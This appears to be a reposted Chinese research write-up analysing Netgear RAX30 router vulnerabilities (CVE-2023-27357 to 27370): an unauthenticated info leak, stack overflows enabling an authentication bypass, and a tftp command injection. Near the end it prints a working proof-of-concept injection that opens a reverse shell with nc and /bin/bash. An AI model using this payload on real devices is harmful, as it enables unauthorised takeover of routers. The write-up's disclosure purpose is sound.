RAX30路由器漏洞分析

IoT 2周前 admin
66 0 0

RAX30路由器漏洞分析


01

概述

在Pwn2Own Toronto大会上,Team82团队发掘了Netgear RAX30路由器多个漏洞,包含未授权访问、栈溢出、命令注入等,将5个漏洞串联起来构造一个利用链,最终可获取Netgear路由器的系统管理权限,漏洞编号分别为:CVE-2023-27357、CVE-2023-27367、CVE-2023-27368、CVE-2023-27369、CVE-2023-27370。本文对四个漏洞进行了分析测试,测试使用固件版本为1.0.4.66、1.0.7.81。

02

CVE-2023-27357

该漏洞产生于移动端管理服务soap_serverd,分析soap_serverd程序,查看sub_328A0函数

RAX30路由器漏洞分析
RAX30路由器漏洞分析
当调用GetInfo功能的时候,无需鉴权:
RAX30路由器漏洞分析
由此可构成敏感信息泄露。
03

CVE-2023-27367&CVE-2023-27368栈溢出

栈溢出漏洞同样来自于soap_serverd,通过分析可以看到sub_5274是解析soap请求的函数,这里使用sscanf来处理接收到的post请求,sscanf属于危险函数:

RAX30路由器漏洞分析

分析sub_8278,当http走ssl读取http请求的时候,会读取n来识别每一行,如果一行的长度过长,则会配合sub_5274出现栈溢出情况:

RAX30路由器漏洞分析

此时在uri中写入过长数据的时候,会造成soap_serverd crash:

RAX30路由器漏洞分析

再来看下鉴权函数A1AC,其中有个条件为当访问的请求来自127.0.0.1的时候,则可以不校验密码,绕过认证:

RAX30路由器漏洞分析

RAX30路由器漏洞分析

这时我们可以通过ssl端口,构造超长的post包,覆写IP地址段,可绕过鉴权访问SOAP内部功能api,例如可以获取重置密码的问题,重置密码的问题是通过base64编码的方式存放在路由器内部的。由于qemu静态模拟程序有问题,不能够直接运行soap_serverd,与实际物理环境有区别,无法仿真运行。

RAX30路由器漏洞分析

遂使用爆破的方式看能不能够爆破填充的字符串数量。根据原文提供的伪poc来看,127.0.0.1前面需要填充6个字节,使用burp进行构造:

RAX30路由器漏洞分析

发现在4091个字符出现响应异常,填充的字节应该为4091,但是由于无法调试的原因,看不到其他地址的值,利用就只能作罢。

04

CVE-2023-27370

默认Netgear RAX30是开启telnet,但是不允许外联,可以使用magic包开启外网连接,使用工具https://github.com/bkerler/netgear_telnet。

RAX30路由器漏洞分析

RAX30路由器漏洞分析

需要知道路由器的mac地址与web管理账号密码,telnet开启之后,连接的shell并不是常见的命令执行的shell,而是带壳的shell,只能执行一些特有的命令,解包发现这个壳是有libcms_cli.so来实现的:

RAX30路由器漏洞分析

通过分析发现tftp命令存在命令注入的漏洞:

RAX30路由器漏洞分析

RAX30路由器漏洞分析

利用poc:

tftp `rm -rf /tmp/p;mknod /tmp/p p && nc 192.168.1.1 4444 0</tmp/p | /bin/bash 1>/tmp/p`

即可反弹shell:

RAX30路由器漏洞分析




RAX30路由器漏洞分析


原文始发于微信公众号(博智非攻研究院):RAX30路由器漏洞分析

版权声明:admin 发表于 2024年9月16日 下午11:16。
转载请注明:RAX30路由器漏洞分析 | CTF导航

相关文章